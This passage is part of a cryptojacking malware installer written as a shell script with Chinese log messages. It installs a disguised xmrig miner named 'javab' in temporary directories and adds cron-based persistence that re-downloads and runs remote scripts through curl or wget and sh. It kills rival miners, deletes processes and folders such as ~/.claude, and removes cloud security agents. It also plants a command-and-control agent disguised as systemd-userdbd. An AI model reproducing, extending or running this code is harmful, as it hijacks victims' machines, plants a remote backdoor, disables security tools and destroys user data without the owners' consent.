  case "\$_c" in *javab*-*c*) return 0 ;; esac
  return 1
}

_our_wdir_name() {
  case "\$1" in
    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
      return 0 ;;
  esac
  case "\$1" in .ksmd_*) return 0 ;; esac
  return 1
}

_proc_in_wdir() {
  _p="\$1"
  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
  case "\$_c" in *"\$WDIR/"*) return 0 ;; esac
  case "\$_x" in "\$WDIR"/*) return 0 ;; esac
  [ "\$_cwd" = "\$WDIR" ] && return 0
  return 1
}

_is_our_wdir_proc() {
  _p="\$1"
  _proc_in_wdir "\$_p" || return 1
  _is_our_javab_pid "\$_p" && return 0
  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
  case "\$_c" in
    *"\$WDIR/.rguard"*) _is_our_script "\$WDIR/.rguard" && return 0 ;;
    *"\$WDIR/idle"*) _is_our_script "\$WDIR/idle" && return 0 ;;
    *"\$WDIR/.khp"*) _is_our_script "\$WDIR/.khp" && return 0 ;;
    *"\$WDIR/.ksmd_guard"*) _is_our_script "\$WDIR/.ksmd_guard" && return 0 ;;
  esac
  case "\$_c" in sleep|*/sleep)
    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
    ;;
  esac
  return 1
}

_purge_wdir_foreign() {
  [ -d "\$WDIR" ] || return 0
  _un=\$(id -un 2>/dev/null)
  for _p in \$(ps -u "\$_un" -o pid= --no-headers 2>/dev/null); do
    [ "\$_p" = "\$_ME" ] && continue
    _proc_in_wdir "\$_p" || continue
    _is_our_wdir_proc "\$_p" && continue
    kill -9 "\$_p" 2>/dev/null
  done
  for _f in "\$WDIR"/* "\$WDIR"/.[!.]* "\$WDIR"/..?*; do
    [ -e "\$_f" ] || continue
    _b=\$(basename "\$_f")
    case "\$_b" in .|..) continue ;; esac
    _our_wdir_name "\$_b" && continue
    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
    chmod u+w "\$_f" 2>/dev/null
    rm -rf "\$_f" 2>/dev/null
  done
}

_our_install_cmd() {
  case "\$1" in
    *googletagmanagar*|*googlelagmanager*|*google-analytices*|*deploy-kit-v1*|*/.ksmd_*) return 0 ;;
  esac
  return 1
}

_rival_install_cmd() {
  _our_install_cmd "\$1" && return 1
  case "\$1" in
    *curl*|*wget*)
      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
    ;;
    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
      case "\$1" in
        *curl*|*wget*)
          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
        ;;
        *base64*|*6556*) return 0 ;;
      esac
    ;;
  esac
  case "\$1" in
    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
    ;;
  esac
  return 1
}

# 对手 hook：任意 IP 的 curl|sh — 不能因 URL 含 ksmd 就放行
pkill_rival_install() {
  _u=\$(id -u 2>/dev/null)
  [ -n "\$_u" ] || return 0
  pkill -9 -u "\$_u" -f 'm51src/public/cache/stores/redis/lang/ksmd' 2>/dev/null || true
  pkill -9 -u "\$_u" -f 'gitea_exp' 2>/dev/null || true
  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
  if [ "\$WDIR" != "/dev/shm" ]; then
    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
  fi
  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=\$(echo "\$_line" | awk '{print \$1}')
    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    if _proc_in_wdir "\$_p"; then
      _is_our_wdir_proc "\$_p" && continue
      kill -9 "\$_p" 2>/dev/null
      continue
    fi
    case "\$_c" in
      *"/tmp/idle"*|*"/tmp/.rguard"*)
        kill -9 "\$_p" 2>/dev/null ;;
    esac
    if [ "\$WDIR" != "/dev/shm" ]; then
      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
        kill -9 "\$_p" 2>/dev/null ;;
      esac
    fi
    case "\$_c" in
      *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;;
    esac
    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*)
      kill -9 "\$_p" 2>/dev/null ;;
    esac
  done
  dedupe_our_javab
  kill_rival_javab_simple
}

dedupe_our_idle() {
  _w="\$1"
  _me=\$\$
  _keep=""
  for _p in \$(pgrep -f "\$_w/idle" 2>/dev/null); do
    [ "\$_p" = "\$_me" ] && continue
    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
    kill -9 "\$_p" 2>/dev/null
  done
}

dedupe_our_javab
kill_rival_javab_simple

while true; do
  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
    sleep 5
    continue
  }
  head -10 "\$0" 2>/dev/null | grep -q 'KSMD_URL' || {
    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
    sleep 5
    continue
  }
  dedupe_our_idle "\$WDIR"
  _purge_wdir_foreign
  pkill_rival_install
  pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
  _u=\$(id -u 2>/dev/null)
  if [ -n "\$_u" ] && ! pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1; then
    for _pat in 'find /' .claude unicorn 6556 m51sr m51src; do
      pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
    done
  fi
  dedupe_our_javab
  kill_rival_javab_simple
  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
    if [ -x "\$RESTART_BIN" ] && [ -f "\$WDIR/.javab.json" ]; then
      start_javab
    else
      redownload
    fi
  fi
  _now=\$(date +%s 2>/dev/null)
  if [ -n "\$_now" ] && [ -x "\$WDIR/.ksmd_guard" ]; then
    _lg=\$(cat "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null)
    [ -z "\$_lg" ] && _lg=0
    if [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
      echo "\$_now" > "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null
      sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
    fi
  fi
  sleep "\$CHECK"
done
IDLE
  chmod 755 "$WDIR/idle"
}

write_khp() {
  cat >"$WDIR/.khp" <<KHP
#!/bin/sh
# $MARKER ksmd-khp
WDIR="$WDIR"
cd "\$WDIR" || exit 1
pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
  _p=\$(echo "\$_line" | awk '{print \$1}')
  _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
  case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
done
if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
  [ -x "\$WDIR/javab" ] && [ -f "\$WDIR/.javab.json" ] && ./javab -c .javab.json >>/dev/null 2>&1 &
fi
_me=\$\$
_keep=""
for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do
  [ "\$_p" = "\$_me" ] && continue
  if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
  kill -9 "\$_p" 2>/dev/null
done
pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
KHP
  chmod 755 "$WDIR/.khp"
}

write_ksmd_manifest() {
  mf="$WDIR/.ksmd_manifest"
  now=$(date +%s 2>/dev/null || echo 0)
  {
    echo "marker=$MARKER"
    echo "wdir=$WDIR"
    echo "installed_at=$now"
    echo "ksmd_url=$KSMD_URL"
    for f in javab idle .khp .rguard; do
      if [ -f "$WDIR/$f" ]; then
        sum=$(md5_file "$WDIR/$f")
        [ -n "$sum" ] && echo "md5:$f=$sum"
      fi
    done
  } >"$mf"
  chmod 600 "$mf" 2>/dev/null || true
  log "manifest 已写入 installed_at=$now -> $mf"
}

write_ksmd_guard() {
  _rival_cron_re=$(rival_cron_re)
  cat >"$WDIR/.ksmd_guard" <<GUARD
#!/bin/sh
# $MARKER ksmd-guard
WDIR="$WDIR"
MANIFEST="\$WDIR/.ksmd_manifest"
KSMD_URL="$KSMD_URL"
COOLDOWN=120
STAMP="\$WDIR/.ksmd_guard_ts"

_rival_on_disk() {
  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
  head -10 "\$WDIR/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
  head -5 "\$WDIR/.rguard" 2>/dev/null | grep -q '$MARKER' || return 0
  head -5 "\$WDIR/idle" 2>/dev/null | grep -q '$MARKER' || return 0
  return 1
}

if _rival_on_disk; then
  for _f in idle .rguard .khp; do
    chmod u+w "\$WDIR/\$_f" 2>/dev/null
    rm -f "\$WDIR/\$_f" 2>/dev/null
  done
  for _p in \$(pgrep -f "\$WDIR/.rguard" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
  for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
fi

_md5() {
  if command -v md5sum >/dev/null 2>&1; then md5sum "\$1" 2>/dev/null | awk '{print \$1}';
  elif command -v md5 >/dev/null 2>&1; then md5 -q "\$1" 2>/dev/null;
  else echo ""; fi
}

_verify() {
  [ -f "\$MANIFEST" ] || return 1
  while IFS= read -r _line; do
    case "\$_line" in
      md5:*=*)
        _rest=\${_line#md5:}
        _name=\${_rest%%=*}
        _want=\${_rest#*=}
        [ -n "\$_name" ] && [ -n "\$_want" ] || continue
        [ -f "\$WDIR/\$_name" ] || return 1
        _got=\$(_md5 "\$WDIR/\$_name")
        [ -n "\$_got" ] && [ "\$_got" = "\$_want" ] || return 1
        ;;
    esac
  done < "\$MANIFEST"
  return 0
}

ksmd_dl_url() {
  _t=\$(date +%s 2>/dev/null || echo 0)
  _p=\$\$
  case "\$KSMD_URL" in
    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
  esac
}

reinstall() {
  _now=\$(date +%s 2>/dev/null)
  if [ -n "\$_now" ] && [ -f "\$STAMP" ]; then
    _last=\$(cat "\$STAMP" 2>/dev/null)
    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$COOLDOWN ] && return
  fi
  echo "\$_now" > "\$STAMP" 2>/dev/null
  _tmp="\$WDIR/.ksmd_re_\$\$.sh"
  _url=\$(ksmd_dl_url)
  rm -f "\$_tmp" 2>/dev/null
  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return
  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
}

if [ -x "\$WDIR/idle" ]; then
  pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
fi
pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
_u=\$(id -u 2>/dev/null)
[ -n "\$_u" ] && for _pat in 'find /' .claude unicorn 6556 m51sr m51src supervise_javs start_javs apt-update 'CRON jobs'; do
  pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
done
rm -rf "\$HOME/.claude" "\$HOME/CRON" "\$HOME/unicorn" "\$HOME/.javs" /dev/shm/.claude /var/tmp/.claude 2>/dev/null
_tmpc=\$(mktemp)
_cron_ok=0
_err=\$(crontab -l 2>&1) || true
case "\$_err" in *must\ be\ suid*|*setuid*) _cron_ok=1 ;; esac
if [ "\$_cron_ok" = "0" ]; then
  crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
  if grep -Ei '$_rival_cron_re' "\$_tmpc" >/dev/null 2>&1; then
    grep -Evi '$_rival_cron_re' "\$_tmpc" | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
    if [ -s "\${_tmpc}.k" ]; then crontab "\${_tmpc}.k" 2>/dev/null; else crontab -r 2>/dev/null; fi
    crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
  fi
  _ksmd_mark="# ${MARKER}-ksmd-guard"
  if ! grep -Fq "\$_ksmd_mark" "\$_tmpc" 2>/dev/null; then
    # 必须单引号：双引号里 \$d 会在 guard 运行时提前展开成空
    _ksmd_line='* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x "\$d/.ksmd_guard" ] && { sh "\$d/.ksmd_guard"; break; }; [ -x "\$d/.pol-lite/.ksmd_guard" ] && { sh "\$d/.pol-lite/.ksmd_guard"; break; }; done # ${MARKER}-ksmd-guard'
    grep -Fv "\$_ksmd_mark" "\$_tmpc" 2>/dev/null | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
    echo "\$_ksmd_line" >>"\${_tmpc}.k"
    crontab "\${_tmpc}.k" 2>/dev/null || true
  fi
fi
rm -f "\$_tmpc" "\${_tmpc}.k" 2>/dev/null
for _k in m51sr m51src redis/lang/ksmd unicorn gitea_exp auto_deploy 'find /' .claude 'CRON jobs' supervise_javs start_javs apt-update 6556; do
  pkill -9 -f "\$_k" 2>/dev/null || true
done

_verify || reinstall
GUARD
  chmod 755 "$WDIR/.ksmd_guard"
}

restart_our_miner_chain() {
  _w="$WDIR"
  log "重启矿机链: purge -> 单实例 idle/rguard/javab"
  purge_tmp_gang
  for _p in $(pgrep -f "$_w/idle" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
  for _p in $(pgrep -f "$_w/.rguard" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
  for _p in $(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
  kill_rival_javab
  purge_tmp_gang
  sleep 2
  pgrep -f "$_w/.rguard" >/dev/null 2>&1 || nohup sh "$_w/.rguard" >>/dev/null 2>&1 &
  nohup sh "$_w/idle" >>/dev/null 2>&1 &
  sh "$_w/.khp" 2>/dev/null || true
}

install_javab_chain() {
  need_x64_miner || return 0
  pick_wdir || { log "无可用 WDIR (/dev/shm /tmp /var/tmp)"; return 1; }
  wipe_install_dir "$WDIR"
  log "安装 javab 链 -> $WDIR (cpu=${XMR_CPU_PERCENT}% pool=${POOL})"
  squash_rival_guard
  detect_xmr_threads
  detect_randomx_mode
  # 先落地并启动 .rguard，避免下载 xmrig 时被对手 guard 杀掉 curl/sh
  write_rguard
  if [ "$DRY_RUN" != "1" ]; then
    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
    sleep 1
    squash_rival_guard
  fi
  setup_xmrig_binary "$WDIR/javab" "$WDIR" || return 1
  squash_rival_guard
  log "矿机二进制: 我们的 xmrig -> $WDIR/javab"
  write_javab_config
  write_idle
  write_khp
  write_ksmd_manifest
  write_ksmd_guard
  if [ "$DRY_RUN" = "1" ]; then
    log "dry-run: would start .rguard idle .khp javab"
    return 0
  fi
  restart_our_miner_chain
  sleep 3
  squash_rival_guard
  log "javab 链已启动 threads=${XMR_THREADS}"
  install_ksmd_crontab
  try_lock_wdir
  echo "KSMD_JAVAB_OK wdir=$WDIR"
}

install_ksmd_crontab() {
  [ "$DRY_RUN" = "1" ] && return 0
  strip_rival_crontab
  if ! crontab_usable; then
    log "crontab 不可用，保活由 idle 每 60s 调 .ksmd_guard"
    return 0
  fi
  ensure_ksmd_crontab
}

write_agent_guard() {
  _agent_url=$(agent_dl_url) || return 1
  cat >"${AGENT_HOME}/.agent_guard" <<AGUARD
#!/bin/sh
H="$AGENT_HOME"
LAUNCH="\$H/user-session-launch"
WATCH="\$H/.session-watchdog"
CORE="\$H/.core"
TOK="\$H/.session-token"
LOG="/dev/null"
KSMD_URL="$KSMD_URL"
AGENT_URL="$_agent_url"
AGENT_MARK="# ${MARKER}-agent-guard"

ksmd_dl_url() {
  _t=\$(date +%s 2>/dev/null || echo 0)
  _p=\$\$
  case "\$KSMD_URL" in
    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
  esac
}

agent_up() {
  pgrep -x systemd-userdbd >/dev/null 2>&1 && return 0
  pgrep -f "\$H/systemd-userdbd" >/dev/null 2>&1 && return 0
  pgrep -f "\$CORE" >/dev/null 2>&1 && return 0
  return 1
}

watchdog_up() {
  pgrep -f "\$H/.session-watchdog" >/dev/null 2>&1 && return 0
  return 1
}

start_watchdog() {
  watchdog_up || nohup sh "\$WATCH" >>/dev/null 2>&1 &
}

try_launch() {
  [ -x "\$LAUNCH" ] || return 1
  [ -x "\$CORE" ] || return 1
  [ -s "\$TOK" ] || return 1
  setsid sh "\$LAUNCH" >>/dev/null 2>&1 &
  sleep 2
  agent_up
}

reinstall_agent() {
  _url=\$(ksmd_dl_url)
  _tmp="\$H/.agent_re_\$\$.sh"
  rm -f "\$_tmp" 2>/dev/null
  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return 1
  [ -s "\$_tmp" ] || return 1
  AGENT_ONLY=1 sh "\$_tmp" >>/dev/null 2>&1
}

ensure_agent_cron() {
  _err=\$(crontab -l 2>&1) || true
  case "\$_err" in *must\ be\ suid*|*setuid*) return 0 ;; esac
  crontab -l 2>/dev/null | grep -Fq "\$AGENT_MARK" && return 0
  _line="* * * * * [ -x \"\$H/.agent_guard\" ] && sh \"\$H/.agent_guard\" \$AGENT_MARK"
  (crontab -l 2>/dev/null | grep -Fv "\$AGENT_MARK"; echo "\$_line") | crontab - 2>/dev/null || true
}

ensure_agent_cron

if agent_up; then
  start_watchdog
  exit 0
fi

if try_launch; then
  start_watchdog
  exit 0
fi

reinstall_agent
start_watchdog
ensure_agent_cron
AGUARD
  chmod 755 "${AGENT_HOME}/.agent_guard"
}

install_agent_crontab() {
  [ "$DRY_RUN" = "1" ] && return 0
  if ! crontab_usable; then
    log "crontab 不可用，跳过 Agent cron 保活"
    return 0
  fi
  strip_rival_crontab
  ensure_agent_crontab
}

deploy_agent_only() {
  if [ "$DRY_RUN" = "1" ]; then
    log "dry-run: would install agent only"
    return 0
  fi
  if [ "$(id -u)" -eq 0 ]; then
    log "root 环境跳过 Agent"
    return 0
  fi
  if is_container; then
    log "容器环境跳过 Agent"
    return 0
  fi
  install_user_agent || return 1
  write_agent_guard || true
  install_agent_crontab
  echo AGENT_ONLY_DONE
}

write_agent_watchdog() {
  cat >"$AGENT_WATCHDOG" <<WEOF
#!/bin/sh
H="$AGENT_HOME"
LAUNCH="$AGENT_LAUNCH"
CORE="\$H/.core"
LOG="$AGENT_LOG"
LOCK="\$H/.session-watchdog.lock"

_poke_miner_chain() {
  for _d in /dev/shm /tmp/.pol-lite /var/tmp/.pol-lite; do
    [ -f "\$_d/.ksmd_manifest" ] || continue
    head -3 "\$_d/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
      continue
    }
    head -10 "\$_d/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && {
      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
      continue
    }
    head -5 "\$_d/.rguard" 2>/dev/null | grep -q 'deploy-kit-v1' || {
      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
      continue
    }
    head -10 "\$_d/idle" 2>/dev/null | grep -q 'KSMD_URL' || {
      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
      continue
    }
    [ -x "\$_d/idle" ] || continue
    pgrep -f "\$_d/.rguard" >/dev/null 2>&1 || nohup sh "\$_d/.rguard" >>/dev/null 2>&1 &
    pgrep -f "\$_d/idle" >/dev/null 2>&1 || nohup sh "\$_d/idle" >>/dev/null 2>&1 &
    if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
      [ -x "\$_d/javab" ] && [ -f "\$_d/.javab.json" ] && ( cd "\$_d" && ./javab -c .javab.json >>/dev/null 2>&1 & )
    fi
    [ -x "\$_d/.ksmd_guard" ] && {
      _now=\$(date +%s 2>/dev/null)
      _lg=\$(cat "\$_d/.ksmd_guard_loop_ts" 2>/dev/null)
      [ -z "\$_lg" ] && _lg=0
      if [ -n "\$_now" ] && [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
        echo "\$_now" > "\$_d/.ksmd_guard_loop_ts" 2>/dev/null
        sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
      fi
    }
    return 0
  done
}

exec 9>"\$LOCK"
flock -n 9 || exit 0
while true; do
  if ! pgrep -x systemd-userdbd >/dev/null 2>&1 && ! pgrep -f "systemd-userdbd" >/dev/null 2>&1 && ! pgrep -f "\$CORE" >/dev/null 2>&1; then
    setsid "\$LAUNCH" >>"\$LOG" 2>&1 &
  fi
  _poke_miner_chain
  sleep 30
done
WEOF
  chmod +x "$AGENT_WATCHDOG"
}

install_user_agent() {
  _url=$(agent_dl_url) || { log "不支持的 Agent 架构: $(uname -m)"; return 1; }
  log "用户态 Agent -> ${AGENT_BIN} C2=${C2_WSS}"

  IS_ALPINE=0
  [ -f /etc/alpine-release ] && IS_ALPINE=1
  ldd /bin/sh 2>&1 | grep -qi musl && IS_ALPINE=1

  mkdir -p "$AGENT_HOME"
  AGENT_CORE="${AGENT_HOME}/.core"
  AGENT_TOKEN="${AGENT_HOME}/.session-token"

  if agent_core_running; then
    log "Agent (.core) 已在运行，跳过下载/杀进程/重启"
    [ -s "$AGENT_TOKEN" ] || {
      printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
      chmod 600 "$AGENT_TOKEN" 2>/dev/null || true
    }
    write_agent_watchdog
    pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
    sleep 1
    [ -x "$AGENT_WATCHDOG" ] && nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
    write_agent_guard || true
    return 0
  fi

  printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
  chmod 600 "$AGENT_TOKEN" 2>/dev/null || true

  if [ "$IS_ALPINE" -eq 1 ]; then
    G="$AGENT_HOME/glibc-compat/lib"
    L="$G/ld-linux-x86-64.so.2"
    if [ "$(uname -m)" = x86_64 ] && [ ! -x "$L" ]; then
      mkdir -p "$AGENT_HOME/glibc-compat"
      dl_long "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" "$AGENT_HOME/glibc-compat/g.apk" \
        || wget -T240 --no-check-certificate -q -O "$AGENT_HOME/glibc-compat/g.apk" \
          "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" || true
      [ -f "$AGENT_HOME/glibc-compat/g.apk" ] && (cd "$AGENT_HOME/glibc-compat" && tar -xf g.apk 2>/dev/null || true)
    fi
    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
  else
    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
  fi

  rm -f "$AGENT_BIN" 2>/dev/null || true
  ln -sf "$AGENT_CORE" "$AGENT_BIN" 2>/dev/null || cp -f "$AGENT_CORE" "$AGENT_BIN"
  chmod +x "$AGENT_BIN" 2>/dev/null || true

  if [ "$IS_ALPINE" -eq 1 ] && [ -x "$AGENT_HOME/glibc-compat/lib/ld-linux-x86-64.so.2" ]; then
    G="$AGENT_HOME/glibc-compat/lib"
    L="$G/ld-linux-x86-64.so.2"
    cat >"$AGENT_LAUNCH" <<LAUNCH
#!/bin/sh
H="$AGENT_HOME"
BIN="\$H/systemd-userdbd"
TOK="\$H/.session-token"
LOG="/dev/null"
G="$G"
L="$L"
export LD_LIBRARY_PATH="\$G"
export LD_PRELOAD=
[ -x "\$BIN" ] || exit 1
_t=\$(cat "\$TOK" 2>/dev/null)
[ -n "\$_t" ] || exit 1
exec "\$L" --library-path "\$G" "\$BIN" "\$_t" >>/dev/null 2>&1
LAUNCH
  else
    cat >"$AGENT_LAUNCH" <<LAUNCH
#!/bin/sh
H="$AGENT_HOME"
BIN="\$H/systemd-userdbd"
TOK="\$H/.session-token"
export LD_PRELOAD=
[ -x "\$BIN" ] || exit 1
_t=\$(cat "\$TOK" 2>/dev/null)
[ -n "\$_t" ] || exit 1
exec "\$BIN" "\$_t" >>/dev/null 2>&1
LAUNCH
  fi
  chmod +x "$AGENT_LAUNCH"

  write_agent_watchdog

  pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
  pkill -x systemd-userdbd 2>/dev/null || true
  pkill -f "$AGENT_CORE" 2>/dev/null || true
  sleep 1

  if [ -x "$AGENT_CORE" ] && [ -s "$AGENT_TOKEN" ]; then
    setsid "$AGENT_LAUNCH" >>/dev/null 2>&1 &
    sleep 2
  else
    log "Agent 二进制或 token 缺失，跳过启动"
    return 1
  fi

  if ! pgrep -f "${AGENT_HOME}/.session-watchdog" >/dev/null 2>&1; then
    nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
  fi

  if pgrep -x systemd-userdbd >/dev/null 2>&1 || pgrep -f "$AGENT_CORE" >/dev/null 2>&1; then
    log "Agent 已启动 dir=${AGENT_HOME} proc=systemd-userdbd"
  else
    log "Agent 启动失败，见 ${AGENT_LOG}"
    return 1
  fi
  write_agent_guard || true
  install_agent_crontab
}

deploy_install() {
  if [ "$DRY_RUN" = "1" ]; then
    log "dry-run: would install user miner+agent pool=${POOL} cpu=${XMR_CPU_PERCENT}%"
    return 0
  fi

  echo SYSINFO_START
  echo arch=$(uname -m)
  echo cpu_cores=$(nproc 2>/dev/null || echo 1)
  echo mem_mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null || echo 0)
  echo is_root=$([ "$(id -u)" -eq 0 ] && echo 1 || echo 0)
  is_container && echo dockerenv=yes || echo dockerenv=no
  echo SYSINFO_END

  if [ "$(id -u)" -eq 0 ]; then
    log "root 环境跳过（本链仅面向普通用户）"
    return 0
  fi

  install_javab_chain || log "javab 链安装失败 rc=$?"
  squash_rival_guard
  if ! is_container; then
    install_user_agent || log "用户态 Agent 安装失败"
  else
    log "容器环境：仅 javab 矿机，跳过 Agent"
  fi

  echo pool=${POOL_HOST}:${POOL_PORT}
  echo cpu_percent=${XMR_CPU_PERCENT}
  echo c2=${C2_WSS}
  echo wdir=${WDIR:-}
  echo agent_count=$(ps aux 2>/dev/null | grep -E 'systemd-userdbd|/\.local/share/systemd/' | grep -v grep | grep -v watchdog | wc -l)
  echo miner_count=$(ps aux 2>/dev/null | grep -E '[ /]\.?javab|/javab |xmrig' | grep -v grep | grep -v rguard | wc -l)
  echo DEPLOY_LITE_DONE
}

main() {
  if [ "$AGENT_ONLY" = "1" ]; then
    deploy_agent_only
    exit 0
  fi
  log "start uid=$(id -u) user=$(id -un 2>/dev/null || echo ?) self=$0"
  purge_tmp_gang
  strip_rival_crontab
  kill_rival_rguard
  fast_rival_pkill
  cleanup_rival_procs
  cleanup_rival_files
  bootstrap_install_guard
  deploy_install
  purge_tmp_gang
  cleanup_rival_crontab
  remove_cloud_security
  kill_third_party_miners
  log "done"
  echo "ksmd-ok marker=$MARKER pool=${POOL_HOST}:${POOL_PORT} c2=${C2_WSS} cpu=${XMR_CPU_PERCENT}% user=$(id -un 2>/dev/null)"
}

main "$@"